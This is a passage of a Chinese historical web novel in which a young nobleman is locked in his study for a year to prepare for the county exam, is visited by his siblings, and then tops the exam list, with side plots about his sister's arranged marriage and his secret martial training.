熟悉的声音从外面传来:“从今以后,你就待在这间屋子里读书,明年院试我会让你出来的。”
封砚初早已没有之前的淡定,他的脸色十分难看,气的直喘粗气,一边用脚使劲踹,一边怒喊着:“你放我出去!”
封简宁的得意在他的声音里难免带出来一些,“你就别想着逃出来了,我已经让人将窗户钉死了,门上的钥匙也有专人看管。”
封砚初见来硬的不行连忙求饶,“父亲,我知错了,我出去以后一定会头悬梁锥刺股,再也不敢懈怠了。”
“信你?我还不如信这间书房呢,你就别挣扎了,好好读书。”
“父亲,我可是你的亲儿子啊!难道你要把我当成犯人关在里头?人家犯人还能出去放风呢。”封砚初心里气的不行,可嘴上只得讨情服软。
“少在那胡说八道,犯人哪会出来放风!你只需待一年,一年之后,为父必定放你出去,绝不食言。”
封砚初被气的没留神,将现代犯人可以出来放风的话说出来,他迅速冷静,又道:“父亲,儿子每日还要吃饭,解手呢。”
“这个你不用担心,每日的饭菜我会让人给你送进去,书房侧边的那个小室里有木桶。”
“难不成出大恭也要在那桶里!父亲,你太过分了!”
“你看没看见门右侧的绳子,另一头连着铃铛,你出大恭后拉那条绳子,会有人进来抬桶的!”封简宁堵死了所有的后路。
封砚初见没办法只能使出最后的招式,哭诉道:“父亲,我是您的亲儿子,您怎能忍心如此待我……”
谁知封简宁直接扔下一句话,“忍心!”
“喂!你太过分了!为了院试竟然将自己的亲儿子锁在屋里头,你出去打听打听,京城里谁家会这么对待亲儿子!”封砚初的目的没达成,气的将旁边放置盆景的花几一脚踹倒在地。
封简宁心情很好,往日里只有这个兔崽子气他,今日罕见的让这兔崽子生这么大的气,他甚至还调侃道:“哟,这是连父亲都不叫了?还有啊,既然是你将里面的东西踹倒了,那可没人帮你,只能你自己收拾!”
此时此刻的封砚初哪里还不明白原由。为什么从昨日起,父亲对他一副好脸色,甚至还同意了今日的出行,敢情在这等着呢,还奸诈的将自己骗进来!
不知过了多久,门口传来一阵敲门声,他没好气道:“谁啊!”
“郎君,侯爷让小人给你送些茶水和点心。”门外之人说完,就将东西从门缝里塞了进来。
现下的他已经没有了之前的暴怒,这一年他是甭想出去了,看来父亲是下了大决心,一定要让他通过院试。他已经可以预料到,若一年后还没能中秀才,没准还会再来一次!
好么,中秀才是吧,他要拿出比高考还要刻苦的精神出来,还就不信中不了!
生命诚可贵,爱情价更高。若为自由故,两者皆可抛!
为了自由,干了!
此刻,他彻底冷静下来了,扶起花几,将碎了的盆景堆在角落。
这才有心情四处环顾,父亲早有打算,这外书房被隔成了内外两间和一间小室,里头被褥,衣服一应俱全。
净了手,将茶点端至桌前,慢慢吃起来,竟然是芙蓉酥,味道微甜。
第六十七章 挨打挨轻了
就在封简宁以为儿子还要继续闹时,没想到竟真的安静下来,来人禀报说正在读书呢。
其实大娘子最初并不赞成夫君这样做,“你这样有些过分了。”
“乾朝末年,彭帆杀尽北方世族;太宗年间,虽然也是极力打压那些世族,但这么多年他们依旧还能起复?除了家传的底蕴之外,那就是对家中子弟教导严苛。”眼见武安侯就要落寞下去,封简宁如何甘心。
“如今朝中依旧不乏柳家,高家,申家,张家之人,他们哪一个不是出身世家?祖上在乾朝之时就为官,今朝依旧。而乾朝的萧氏早已没了踪迹。”
“你唐家祖上是武将,乾朝末年在青州为守将,顺理成章的跟了太宗皇帝。可我封家是个连饭都吃不起的苦出身,若非太宗赏识,何来今日的武安侯府,封家好容易走到今天这个位置,你叫我如何甘心让祖宗基业败落我手?”
“大郎清楚肩上的担子;二郎却不明白,只想着安逸度日,若没人逼他,他都想躺着不动弹!不过确实聪慧,读书不如大郎和四郎认真,这次还通过了童生试,我若不用这个方法逼他,将来只怕科举无望。”
大娘子轻叹一声,好一会儿才说:“既如此,那便让暮山守在外头,我见二郎经常去瞧他,毕竟以后也要跟在他身边的。”
“嗯,你注意看着他的日常生活,正好让我瞧一瞧他的潜力和决心。”毕竟是自己的亲儿子,他很看重,虽然知道以妻子的心性定会照顾好,但还是又嘱咐了一遍。
长姐封砚敏在二弟被关之前就已经从母亲那里知道了,所以一直心有愧疚,人被关进外书房后,才与碧玉拿着早就准备好的东西前去探望。
大郎封砚开见父亲如此待二郎,最初还有些担心,之后又觉得自己也不能松懈,读书愈发刻苦,不过还是吩咐丫鬟霁红,将他从别处抄来的策论送去。
幸亏他搬到专属于世子的院子,姨娘轻易来不得,耳根清净不少,一下子觉得神清目明。
三郎本不知晓,他得知二哥去看了京西武备营演练考核回来,想着听对方讲一讲,谁知碧芳告知去了前院书房,结果等了好长时间也没见人。
回去之后,才从姨娘的嘴里得知,二哥被父亲关进外书房了,心里只觉担心害怕,“二哥真可怜,父亲竟将人关起来,姨娘,我想去看看二哥。”
张姨娘看着儿子心中长叹一声,罢了,也是命,谁让她儿子连学塾的课业都要三催四请才勉强完成,更别说科举了,不过好在心地还算善良,想到此处,点头问道:“你打算带些什么东西过去?”
封砚池早就想好了,脱口而出,“我准备给他带一副叶子牌,再带一些话本子,读累了可以消遣一二。”他觉得自己想的十分周到。
张姨娘额头青筋直冒,一巴掌拍在儿子的脑袋上,骂道:“你个糊涂蛋!侯爷将二郎关进书房,就是为了让他能够全身心投入,你倒好竟然送这些东西!你是挨打挨轻了,看侯爷不扒了你的皮!”
封砚池被这么一骂,这才发觉不妥,摸着不是太疼的后脑勺,向姨娘请教,“那我带什么?”
“就将那端石山水图砚、蟠螭纹云墨、紫檀兼毫笔、青玉雕狮镇纸,包起来送过去。”
“什么?那可是我最喜欢的,平日都不舍得用!”
“你又不爱读书,放在你手上也是可惜了了。”张姨娘不等儿子阻拦,已经吩咐瑞雪将东西拿出来。
四弟封砚安送了一把扇子,他觉得过段时间入了三伏天,气候炎热,必定能用的着。
二妹封砚婉喜欢射箭,对那些绣花之类的东西没兴趣,倒是去找二哥说了几次话。
堂兄封砚明本想送几刀自己用不完的白鹿纸,被母亲温氏说了一通,改送了一些解忧香。相传为唐代名相魏征所创,用于缓解因朝政带来的郁结情绪,可能温氏担心封砚初心情郁闷。
三妹封砚潼送来的则是自己绣的帕子,荷包之类的,反正众人皆有表示。
屋内,封砚初捧着书在读。
屋外,暮山正在练剑;这是他允许的,一则对方不用耽搁练武;二则,他眼睛疲累,或者心乏之时,可以看看外面调节。
除了睡觉,他其余的时间都用在了苦读之上。
身上的薄衫换成了厚重的裘衣,枝头的翠绿染上焦黄,匆忙投入大地的怀抱,它又重新披了一件白色的锦袍,在寒风中翩翩起舞。
突然间,‘砰’的一声响炸响。
紧接着门被推开,他依旧低头读书,直到那声“二郎君,今日是除夕。”
这才惊觉,原来新的一年就要到了。
方恩未听见回应,又说了一句,“二郎君,今日是除夕。”
封砚初只轻声“嗯”了一下,再无回应。
方恩一时之间不知这是什么意思,表明来意,“侯爷同意让您出来过过年,等过了明日再进来。”
“出去吧。”封砚初的声音十分平静,听不出喜怒。
方恩几乎以为自己听错了,直到声音再次响起。
“出去吧。”
他竟然在二郎君身上感受到前所未有的压力,只能默默的退了出去。
封砚初等方恩出去后,这才抬头透过窗上的明纸,勉强可以看到外面模糊的树影。这些年的热闹,让他几乎快要忘记在现代之时,为了生活而努力奔波的日子,好几年都未回家,所以如此过年倒也忍得了。
“暮山。”
门外的暮山推门而入,拱手行礼,“郎君,您有何吩咐。”
“今日是除夕,回去吧,后日再过来,就当是给你放假。”
暮山方才在门外已经听见了里面的对话,对于郎君的话他从不问原由,这是身为一个护卫应该做的,“是,郎君。”
封简宁看了看方恩的身后,反问道:“人呢?”
方恩将方才的情况说了一遍,“小的也不知,二郎君这是什么意思。”
封简宁揉了揉眉心,并未立即说话,过了好一会才道:“随他吧,只是一应用品不得短缺。”
也不知是不是因为少了封砚初的缘故,这个年其余人也过的没滋没味,比起以往众人只觉得无趣。
第六十八章 去看看二哥
除夕年夜饭,老太太目光扫过空出来的位置,看向长子,“他还是不来吗?”
封简宁正欲张口,老太太便抬手打住,“罢了,我知道了,东西可让人送去了?”
为了表明自己对此事很上心,大娘子赶紧答道:“一应都送去了,我还叫了碧芳过去。”
老太太略做沉吟,随后拿起筷子,“开始用饭吧。”
年夜饭后,小辈们一一拜年拿了压岁钱。封砚敏她们三个女孩子一直在老太太身边凑趣,可还是让人觉得气氛有些冷寂。
大郎与父亲二人一问一答,像是谈公事。
二哥因为读书,连过年都不出来,三郎如何敢将众人的视线引到自己身上,挑着碟子里顺眼些的干果。
四郎属于那种见了父亲就心中不自觉胆怯之人。他也不被大家重视,但心底却有着争口气的盼头,所以正在心里默背,连旁人戳他都没反应。
大娘子与温氏俩妯娌闲聊;二叔封简言只想等到点就撤。
见此一幕,这让一向喜欢热闹的封砚明,不禁叹道:“这年过的,真真无趣极了。”
在座的谁不觉得,没人说这话罢了。
温氏偷偷瞪了一眼儿子,“孝期未过,自然听不得戏。”随后朝众人笑了笑,“他小孩子家就喜欢看戏。”
封简言这一年一直在盯着儿子读书,瞥了一眼,语气中带着些许嘲讽,“你既觉得无趣,还不如去读书,明年与二郎一起考!”
这可算是给封砚池提了个醒,正欲开溜,去前院书房探望二哥。可脚还没离开屋子,就被封砚明逮了个正着,“三郎,你要去哪?”
封砚池右手握拳抵在嘴边,清了清嗓子辩解,“我没想偷溜,这不是想着去看看二哥。”
老太太到底惦念二郎,干脆对几个孩子道:“罢了,你们也都心不在焉,那就都去吧。”这话一出,所有孩子走了个精光。
与前世一样,封砚初即使是过年也没有松懈,空气中除了翻书的声音在无其他。
随着门的推开,一个声音打破寂静,“哎呀,竟下起雪来了。”
陆陆续续又有其他人说话,“是啊,太冷了。”
“别堵在门口,赶紧进去。”
他抬头看去,竟然是长姐,大郎,三郎他们来了,“你们怎么来了?”
最先提议要来的三郎,进门就站在火盆旁,一边烤火,一边说道:“当然是来看你啊。”
“还在看书呐?”走在最前面的大郎有些感慨,记得以前每当二郎懈怠之时,还是他时常劝着。
堂兄不知何时已经盘腿坐在榻上斜靠着,环顾了一圈,随手拿起桌上的点心吃着,“你是不知道,今年的除夕好无趣。”
长姐封砚敏最关心的是另一件事,“二郎,不是说碧芳陪着你,怎么不见人?你可用了饭?”
“已经用过饭了,我这里也没什么事,她在这里还打扰我读书,就让她回去过年了。”这么一搅和,书是读不成了,封砚初只得放下书,起身为几人倒茶,可倒了一半才发现茶杯不够用。
封砚婉见状摆手拒绝,“方才喝了一肚子的汤啊,茶啊的,二哥不用招待我们。”
进门后的封砚潼将几个红封放在封砚初的书桌上,“二哥,这是你的压岁钱,祖母让我给你带来。”
“竟有我的,还以为今年没有呢。”
三郎故意捂着胸口,做痛心状,“哎呀,早知我们几个私底下分了。”
一直未说话的四郎封砚安有些忐忑道:“二哥,我们是不是打扰你读书了?”
三郎直接帮自家二哥代为回复,“他都看了大半年的书了,也不差这一会儿。”这话更让四郎有些不安。
封砚初笑着安慰道:“别听他胡说,无妨,我正想歇一歇呢,可巧你们就来了,正好陪我说说话。”
大家说说笑笑的,也许是因为气氛热闹,也许是因为起来走动,这让已经用过饭的封砚初竟有些饿了。
“不知厨房熄灶了没?”
这些孩子正是长身体的时候,这不说还好,一说都觉得想用些东西。
“是有些饿了。”
长姐封砚敏已经随着母亲开始学习管家,对这些很熟悉,“今夜厨房不会熄灶,正好大家一起用些饭。”说罢吩咐丫鬟去厨房重新要来了一些饭菜。
没人遵守食不言的规矩,都围坐在桌前边吃边谈,气氛分外的轻松惬意。
此时夜已渐深,屋外不知何时飘起了鹅毛大雪,凛冽的寒风吹不进这暖烘烘的屋子,也没有吹进大家的心里。
只有大郎好像察觉到下雪,透过糊着明纸的窗户朝外望去,似乎想要看清楚些什么。
第六十九章 恭喜你脱离苦海
年已过,春将不远矣。
暖风化解了寒冬的坚冰,春日的晴雪仿若天边的玉叶般层层叠叠。
‘咣当’一声,铜锁从门栓上拿了下来。时隔一年,封砚初才走出这书房,阳光如此明媚,直让人晃眼睛。
“二郎。”封砚开早已在门前等着。
“大哥!”他放眼望去,只觉大哥与之前已截然不同,原先只是沉稳,如今更多了些复杂。
“母亲已经让人将你的院子里里外外收拾了一遍,趁着院试前,回去好好歇两日。”大郎看着稳重了许多的二郎,心里只觉得欣慰,如今父亲丁忧结束,已经正式承袭爵位,自己也被封了世子。
可当他真正在世子之位时,才对父亲往日的严厉,辛劳,深有体会,也对武安侯今时今日的处境心生忧虑。
“多谢大哥来接我。”其实在这一年的时间里,除了父亲之外,大哥也是每隔一段时间,就会将他新得的策论或者注解送来,他受益颇多,心里自然感激。
“他们原本也要来的,是我说用不了那么多人,再说你回去还要好好洗漱休息,还不如晚些时候去你那儿呢。”封砚开拍着他的的肩膀,俩兄弟一起往回走,身后还跟着帮忙搬东西的暮山和其余下人。
当他走进院子的那一刻,李妈妈就捂着嘴低声哭泣起来。
王锦娘上前拉着儿子上下打量,虽笑着,泪却从眼角流下,“嗯,瘦了,也长高了许多。”原先儿子时常在眼前还不觉得,这次一年未见,才觉得想念。
封砚初身上的衣服有些皱,而且好几日未洗头,他自己都觉得身上有些味道,可姨娘仿佛未察觉似的。
“姨娘,我已经出来了,您什么时候都能来瞧,且让我回去洗一洗。”
一旁的李妈妈见状立即应道:“二郎,浴桶和换洗的衣物都已备好了,雪香也去厨房提菜去了。”
“这一年,辛苦妈妈帮我照料院子。”他说完这话,又对姨娘说道:“姨娘,你别担心了,我已经十六了,可以照顾好自己。”
王锦娘这才反应过来,“你这一年读书,我也是闲着,便给你做了几双鞋,还有一些荷包,络子,帕子我给你拿来。”
“姨娘先去拿,等我洗漱之后,正好咱俩一起用饭。”
“好,好,我这就去。”
这是封砚初第一次主动邀请王锦娘一起用饭,她自然高兴,乐颠颠的去了自己的住处取东西。
洗漱后,封砚初散着头发闭眼躺在廊下的躺椅上,任由碧芳为他擦湿发,“碧芳,差不多了,让人去瞧瞧姨娘怎么还没来。”
见碧芳未动,这才睁眼瞧去,原来不知什么时候,擦头发的人已经换人了,“姨娘,你什么时候来的,竟也不叫我。”
王锦娘一边为儿子擦头发,一边感叹,“记得小时候,我还给你洗头,擦头发,后来你大了,要么自己擦,要么是丫鬟给你擦。”
封砚初还记得,深处的记忆瞬间被挖掘出来,“那时候,儿子调皮,总不耐烦慢慢擦头发,总是擦到一半就跑出来,说剩下的就让风帮我擦干,免得你劳累。”
阳光正好,没一会儿头发就干了。也许是因为这次是最长时间没见儿子,所以就连头都是王锦娘亲自梳的。
可梳头的王锦娘,愈发觉得儿子长大了,她记得儿子以前梳着总角,总是嫌弃难看,过几年就是弱冠之年,也该娶妻了,不知大娘子和侯爷会为儿子相看一个怎样的媳妇。
就这样,王锦娘在梳头的过程中胡思乱想着。
母子二人吃了饭,王锦娘便回去了。
临近下午之时,他的院子反而热闹起来,毕竟是出了书房,大家总要来看看。
“二哥,恭喜你脱离苦海!”三郎封砚池手里竟还提着一小坛酒进来,“我特意带了十月白庆贺,今晚咱们不醉不归!”很明显,他是趁着张姨娘不在之时,偷摸带来的。
堂兄封砚明长叹一声,“唉,早知你带了酒,我就不带了。”这一年他过的很苦,父亲封简言一改往日的态度,整日盯着他读书,今日是专门过来诉苦,一解千愁的。
四弟搓了搓两只空空的双手,一时之间觉得有些尴尬。他纯粹是来看望二哥的,顺带再请教一些书。现下见别人都带着礼上门,心里想着他是不是回去带些东西再来。
大郎却拿着几本他新得的书来了,顺手交给一旁的碧芳,只说了句,“喝酒可以,但不能闹的太过。”
封砚初瞅见堵在门口正在纠结的四郎,又见他两手空空,当下明白几分,过去将人拉进来,“站在这儿做什么,你又不是第一次来,难道还要我请你?”
话说二妹封砚婉发现同胞的四哥两手空空的去了,便找了两只上好的笔送出去,可还是没赶上,只得让四哥的大丫鬟清蝉送去。
清蝉直接将东西交给碧芳,找了个四郎君走的急,将准备好的笔忘在桌子上的借口,又说是自己疏忽了。
几人对饮,堂兄封砚明没喝几杯,就开始大吐苦水,旁人倒也罢了,那确实是辛苦读书,可三郎竟很有共鸣,他什么时候苦读过?
外面的天光渐褪,已至掌灯时分,几人这才散去,而封砚初终于也能休息。
抱歉,今天追剧没留意时间,晚了一些
第七十章 什么叫还行
不过两日时间,便是院试之期。
依旧还是那个贡院,与上次带的东西都一样,只是坐在了不同的位置上。之前对面是一个小胖子,这次是个穿着粗布,衣衫洗的发白,且头发已经斑白之人。
相比上次,此次的题目,让他更加胸有成竹,所以也称得上下笔如有神。
考完回家后,大家皆不敢在他面前提起此次院试,就是担心给他增加负担。
只有封简宁还是没忍住,“你感觉这次答的如何?”问完后,又仿佛是随意一提般,端起茶杯浅饮,目光虽下沉,可耳朵却投入十分的注意。
“还行。”
简洁的两个字,让封简宁手中的茶杯差点跌了,重重将其放到桌上,抬眼看向封砚初,目光里带着些许怒色,“什么叫还行?”
“瞧父亲这话说的,我又不是阅题的考官,如何知道?若说很好,万一一月后榜上无名,你便要说我张狂;若说答的不太好,又觉得我必定辜负了你的苦心,不曾好好读书。既然怎样都是错,我何必再说。”若说封砚初对父亲没有怨气,那是不可能的,毕竟被关了一年,如今逮到机会自然要怼回去。
就在封简宁欲怒之际,老太太立即道:“好啦,你且去忙自己的事,二郎才考完,到底如何,还需一个月之后见分晓。”
封砚初这才反应过来,父亲丁忧已经结束,按理来说要继续回去当官。可这里头的门道很深,什么时候能被安排上,安排什么职位,都很重要,他瞧对方是半点不着急。
“父亲,我这里不过都是小事,你丁忧结束,朝廷有没有说分派个什么官职?”
老太太眼皮稍抬,将情绪掩藏至眼底,代为回答,“派了吏部郎中的官职,下个月上任。”
“吏部郎中?正五品!”不怪封砚初震惊,父亲丁忧之前,不过在工部任主事,才六品,按照惯例,丁忧复职要么平调,要么降级调用,除非你本人能力出众,或者受上面重视。
“父亲走了谁的关系?主管的是哪一司?文选、验封、稽勋亦或是考功清吏司?”封砚初的接连发问和怀疑让封简宁有些恼羞成怒。
“什么叫走了谁的关系?有你这般质问为父吗?”本欲离开的封简宁转身看向次子斥责道。
“儿子不过问几句罢了,父亲为何这般恼怒?”封砚初心中怀疑更重了。
就在这时,一言未发的大娘子道:“你也知道,你姐姐到了相看的年纪,年后安南将军孙家的赏梅宴上,恰好碰见了信国公世子夫人,她家三郎已过弱冠之年,最后看中了你姐姐,你父亲也很满意,现在已经下定了。”
这徐三郎封砚初还真就知道,去年还在酒肆碰到过,“父亲可知那徐三郎素来爱饮酒,去年就因醉酒在恒文酒肆闹事。前头有个原配嫡妻留下的一子一女,姐姐嫁过去是为人继室,还要照顾前头生的那两个孩子!更何况之前他不知与徐大郎发生何事,被徐家遣送青州休养,可见事情不小。”
封简宁看向儿子,并未出口斥责,毕竟他这是对姐姐的关心,“信国公如今为朝廷的内阁次辅,更何况徐家一向富贵,若是原配嫡妻也轮不到咱家,真相看别的,家世必定不如。”
封砚初并未回复父亲,他心中清楚木已成舟,而全家人之前将他瞒得死死地,何尝不是担心自己出幺蛾子,这是他初次品尝到无力感。
一时之间空气有些沉寂,过了好一会,才低声道:“我知道了。”说罢,胡乱行礼出去了。
大娘子心中很欣慰,自从给女儿说了这门亲事,只有二郎关心徐家三郎的人品可堪相配,其他人只看见这门亲事带来的利益。
老太太虽然疼爱孙女,可关键时刻更看重府里的孙儿们,此时她就在感叹,“二郎长大了,若是以前必定气冲冲的质问,这次竟然十分安静。”
封简宁更是只看重侯府未来的发展,其余的都要靠边站。
封砚初还未到长姐门前,她的丫鬟碧玉就远远的行礼迎接。
“姐姐可在?”
碧玉一边为他打帘,一边笑吟吟道:“姑娘正在屋里呢。”
封砚初进去后,姐姐正坐在书桌前练字。听见声音后,并未抬头,“你且先稍坐,待我写完这张字,再与你说话。”
长姐封砚敏的屋子其实并不是太大,分为内外两间,布置的却十分雅致。
里间是卧室,外间一分为二,中间的位置虽是待客之处,也十分精巧,可墙上却挂了张弓;左侧西边靠墙的位置是一排书架,除了书之外,还摆了一些瓷娃娃,瓷瓶等玩意;南北两边的墙上各挂着两幅山水图,其中一幅画下方是琴案,上面正好摆着她常弹的春雷琴。
写完字,封砚敏净手后才过来坐下,还笑着对封砚初说:“快去瞧瞧我方才写的字,比你如何?”她是个好强之人,在习字之上可是下了苦功夫的,所以那一手字并不输对方。
封砚初放下茶杯,顺势起身去书桌前,细细欣赏了了一番点头道:“姐姐这张字,比起我可强出不少呢。”
封砚敏‘噗嗤’一笑,剜了一眼,“少哄我,要说不差上下还可能。”
封砚初也放松了心神,心情似乎也好了许多,“逗姐姐一笑罢了。”
“我还以为父亲正在考问你院试答的如何,哪有时间到我这里来。”
封砚初最终还是没能忍住,主动提出,“我确实是从那边过来,听说了父亲给你定了信国公徐家三郎的亲。”
可让他失望的是,长姐脸上没有预料中的难过,也没有表现的高兴,就像是再说别人的事,“你听说啦,婚事定在了今年六月,那时候天气正热呢,听说信国公家有个湖,每年夏天荷花都会开满整个湖面,想来应该很美。”
封砚敏知道二郎担心自己,笑道:“没关系啦,女子早晚都要嫁人的,再说我也没有明畅长公主的魄力,起码我听说徐三郎长相不错,只是不知比不比得上你?”
他本来是来看望姐姐的,到头来却被对方开解,“姐姐,若是徐三郎欺负你,你千万不要藏着掖着,你告诉我,我帮你收拾他!若实在过不下去了,也可以和离,将来姐姐在家一辈子也是一样的。”这话他说的很认真。
“二郎,我会好好的,若真的有事我肯定会跟你说。”封砚敏觉得她没有白疼这个弟弟,这段时间也只有他来看自己,还说了这些话。
门外,原本要进去的大娘子将脚收回,去了自己的屋子。
第七十一章 何苦造那孽
接下来的时间,封砚初才算得了些空闲,因为一年的禁闭,孙延年也是好长时间没见好友,这日正好休沐,才有时间应约。
俩人这次见面的地方还是恒文酒肆。
往日封砚初身边跟着的都是冯四,这次换成了暮山。孙延年最是眼尖,“哟,身边换人了?”
“哦,他是暮山,今后便跟在我身边了。”
孙延年上下打量了一番,又捏了捏暮山的肩膀,“身上有些功夫,看来这是你父亲给你配的护卫。”又问了暮山几句话,结果对方一句话不说,直到封砚初点头,这才开口。
这让孙延年更感兴趣了,“不错啊,够忠心的,不像我家青山,那就是一话唠。”
封砚初故意道:“你要是不想要青山,给我呀,正好与暮山一起做我的护卫,他们就连名字都很搭。”
孙延年一边朝楼上走,一边道:“那还是算了,青山虽然话多,但有分寸,我才舍不得。”
俩人坐在楼上一边听曲一边闲谈,封砚初听了好一会儿,轻叹道:“没我以前来时弹的好,是换人了吗?”
“你发现了?”
“虽然弹的也属于上品,但少了几分灵动之气,转音之时略显僵硬。”封砚初弹琴的水平属于中上,但自幼耳濡目染,听得出品质。
“我也是听人说,宜平侯府的罗三郎与信国公府的徐二郎,因看中了那个琵琶女起了争执;他们二人是何出身,恒文酒肆的掌柜哪里惹得起,年前找了个借口将人辞退了。两人只觉得面上无光,事后找掌柜麻烦,掌柜便将琵琶女的下落说了,听说十个手指头都烂了,还如何弹的了琵琶,一个孤女,不过是赔了些钱了事。”孙延年也是一阵唏嘘,不过是一个可怜人罢了,何苦为难。
“她拿着那些赔偿只怕遭人惦记,又弹不了琴,只怕活下去都难。”若是碰上了他也许会帮一把,可如今听了也唯有一叹罢了。
在现代社会,都有那些想方设法吃绝户,算计家产之人,更何况在这个时代,她一个孤女如何保得住钱财,只怕还要引来不测。
“谁说不是呢,何苦造那孽。不说了,喝酒。”两人继续对饮。
“自从你父亲将你关起来之后,我还找过你几次,没想到连书房也不让你出,今日看见你精神正常,我也欣慰啊!”孙延年调侃着。
“去你的,你才精神不正常呢。”封砚初笑骂回去。
“唉,说真的,幸亏我现在已经进了京西武备营,否则我父亲定会按照你父亲那样子待我的!前年齐叔为救我父亲受伤,你是没瞧见他急得呀,整日死盯着我练武,将心中的郁气撒在我身上,你是没见当时我身上青一块紫一块,从来没好过!”
孙延年说到此处,嘿嘿一笑,“当时你送我那药很管用,你还有吗?”
“你想要?”
“你知道的,自从我父亲接管了京西武备营,发现里头武备松弛,整日训练,我也一样,这身上难免会磕啊碰的,我那药都没你的好使。”说到此处拍拍胸膛,“放心,不白要你的,我给你出钱。”
“我这里还有五瓶,全给你吧,以咱俩的关系,钱就不用了。”
“胡说,我让家里的大夫看了,里头有几味药还挺贵的,我这次出门连钱都带了,明日让人给我送来。”孙延年很有默契的没有提及那药是何处来的,有没有药方。
“那你给个二十两吧。”说实话,封砚初还是很兴奋的,这可是他第一次赚钱,也是第一次以医术挣钱。
孙延年拿出四十两银币,“再多给我五瓶。”
离开的路上,封砚初并未直接回家,反而转道去了‘枕松闲居’。经过这一年与暮山的相处,他已经完全收服了对方。
更何况暮山也清楚,自己真正要效忠的是谁。
他将暮山带到此地还有一个目的,那就是训练自己的武艺,毕竟暮山可比他经验丰富多了,两人对打练习,提升更快。
当暮山第一次见到‘枕松闲居’时,说不吃惊那是假的,同时他也清楚,只有真正被郎君信任之人,才有资格被带来,心中有说不出的激动。从今以后,他就是郎君第二信任之人!
因为孙延年要十瓶,还缺五瓶,只能再配一些药。封砚初将十瓶药递给暮山,“将东西送去孙府。”
暮山离开之后,冯四带着担忧道:“郎君,暮山能信任吗?万一此处被侯府知道,只怕……”
余音未尽,但他明白是什么意思,笑道:“你以为他这一年是白守在书房外面的?若是没这个把握,我怎么可能让他知道此处。”
冯四松了口气,“那就好。”
最后事实也却如封砚初预料的一样,暮山仿佛没来过‘枕松闲居’,一如往常。
第七十二章 您不进去瞧瞧
话说两人散后,孙延年并未直接回去,而是去了趟宝庆街,无意中发现封砚初的马车,原本要上前打招呼,只是对方未曾看见,买了东西转弯后不见了。
“郎君,瞧着封二郎君的马车不像是回武安侯府的路。”青山最先瞧见,立即禀报给自家郎君。
孙延年总觉得好友有事瞒着他,本不欲深探,可谁让对方撞到眼前,那只能去瞧瞧。
“走,咱们跟上去看看。”
“得咧!”青山同样很兴奋。
转过三个路口,孙延年眼瞧对方进了一处宅院,二郎何时在这里置了一处宅子,难道因为封侯爷关他禁闭的事闹僵了?准备搬出?
想到此处,他有些激动,“哎呀,二郎这个宅子置办的好,等哪日我在家里待的烦了,或者不想回去,可以借住到这儿,到时候大家把酒言欢,岂不是更好!”
青山并不认可,“郎君,我觉得你猜错了,没准是封二郎君金屋藏娇,不敢让武安侯知道才将人藏在此处。”说到这里还嘿嘿一笑。
“咱们打赌怎么样?二郎不是那样的人,他这样隐秘,连我都不说,肯定不是金屋藏娇。”
青山听后连连摇头,他不适合赌博,而且总输,“我不与郎君打赌,上次打赌输了,让我绕着京城足足跑了三圈,腿都快累折了。”
“谁让你舍不得钱财,愿赌服输。”
青山下意识的捂了捂钱袋,心疼道:“郎君之前已经赢了我两个月的月钱。”
孙延年瞅着青山那没出息的样子,挥手道:“不赌算了,咱们回吧。”
“这就回了?您不进去瞧瞧?”青山其实挺想进去看看的。
孙延年何尝不想猛地进去吓一吓好友,只是想到他将宅子安置在如此僻静之地,必定是不想让人知道,“不进去了,万一他们出来碰个对面怎么办?”
“哦。”青山听了吩咐乖乖拉马。
孙延年不放心的叮嘱道:“青山,此处不许漏了口风!”
郎君的声音十分严肃,青山立即知晓其中轻重,也严肃道:“郎君放心,小的绝不吐露半个字。”
接下来的日子,封砚初几乎每日都要出门,封简宁以为儿子是被关的狠了,也未曾在意。大娘子忙着为女儿准备嫁妆;老太太注意不到这儿;大郎早就为乡试做准备;至于其他人哪里敢多问,这倒是方便了他。
‘枕松闲居’
封砚初从室内取出一把剑,站在空地之时,暮山这才发觉,原来郎君早就偷偷开始练武。
与郎君对练本就是护卫之责,暮山并未推脱,只是当两人真正对练,他才发现,郎君的剑法虽然精妙,只是对敌经验不足,有些地方甚至是花架子。
一开始他还小心翼翼,直到在郎君的生气命令之下,这才不相让。
封砚初多次被暮山狼狈的打倒在地,可他从不气馁,一遍遍总结不足之处,修正之后继续对练,就这样一遍又一遍,到最后很少被打倒在地。
虽然仅仅只有短短的一个月,但他的进步神速,不仅仅剑法,连带着掌法,轻功,枪法均有进步。
暮山擦了擦头上的汗,心情很好,“郎君若是继续练下去,用不了多久小的便不是您的对手了,不过这段日子与您对练,小的的进步也很大。”
封砚初的心情同样很好,他之前是空有招式,武功也犹如空中楼阁一般,轻轻一碰就散了。如今与暮山对练,就像是将武功重新分列组合,打实了地基,那接下来只要两人多多练习必定能行。
一月之期已过,武安侯府。
所有人都在老太太这里等消息。
没错,院试榜要张贴了,封砚初能否成为秀才,在此一举。
寸阴若岁,等待是最缓慢的煎熬。
上一次,他还紧张期待,这一次却格外的淡定,落在旁人眼中却成了胸有成竹。
白管家喘着粗气,‘呼哧呼哧’跑进来,正要行礼,老太太不耐烦的抬抬手,“究竟怎么样,还不快说!”
白管家略作平息,努力将喘气之声咽下去,脸上挤出笑脸,“恭喜老太太,大娘子,二郎君中了,中了头名案首!”
“案……案首!果真?”老太太喜得直接站起来。
“真!真的不能再真了,是小人的儿子亲自去看的!老太太,得赶紧准备喜钱,一会儿报喜的人就要来了!”这种事情白管家自然会让自己的儿子去办,若是中了他提一提儿子,若是没中自然闭紧嘴巴。
“好好好!快去备着!”老太太赶紧吩咐,随后又朝其他人解释自己为何如此高兴,“仅仅只是考中秀才也就罢了,竟是案首,想来后面的举人希望更大一些。”
其余人也纷纷恭喜,封砚初一一回礼。
“二弟,明年还有乡试,你亦不可懈怠,早日得中,也好早日帮父亲。”大郎封砚开担心二弟欢喜的过了头,赶紧提醒,同时暗暗下定决定今后更需努力!
报喜的人来,老太太他们自然不用出去,封砚初毕竟是事主,几乎是掐着时间,刚到侯府门口,报喜之人就敲锣打鼓的来了。
“恭喜武安侯府封砚初封郎君,此次院试得中案首!”报喜人说完立即敲锣。
封砚初示意道:“白管家,给喜钱。”
报喜人得了喜钱欢欢喜喜地走了,但是门口依旧还围着一些凑热闹之人,他们虽然不敢靠近,但也并未离开。白管家也未吝啬,命令底下人大把大把的撒着喜钱。
门外,撒着喜钱。
门内,老太太吩咐厨房制些好菜,晚上一家人要好好乐一乐。
第七十三章 你这院子可真热闹
晚上,封简宁得知二郎中了案首,十分欣喜,愈发觉得对方本就聪慧,只是不够努力罢了。
